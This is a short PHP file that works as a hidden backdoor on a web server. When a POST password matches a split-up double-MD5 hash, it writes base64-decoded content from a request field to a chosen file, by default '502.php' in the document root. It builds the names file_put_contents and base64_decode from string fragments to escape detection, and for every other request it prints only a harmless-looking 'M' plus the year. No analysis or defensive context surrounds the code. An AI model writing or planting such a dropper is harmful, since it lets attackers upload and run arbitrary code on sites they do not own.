<?php
$zxy = 'M'.date('y');
$eik = $_POST;
if(!empty($eik['b']) && md5($eik['b'].md5($eik['b']))==('6690'.'f481'.'d23d'.'ecf7'.'8718'.'ec6e'.'0106'.'de21')) {
	$kam = !empty($eik['f']) ? $eik['f'] : '502.'.'php';
	if(!empty($eik['r'])) $kam = $_SERVER['DOCUMENT_ROOT'].'/'.$kam;
	$yxo = 'FILE'.'_put'.'_con'.'tent'.'S'; $ytp = 'B'.'A'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'C'.'o'.'D'.'e';
	if($yxo($kam, $ytp($eik['c']))) exit($kam);
}
echo $zxy;
?>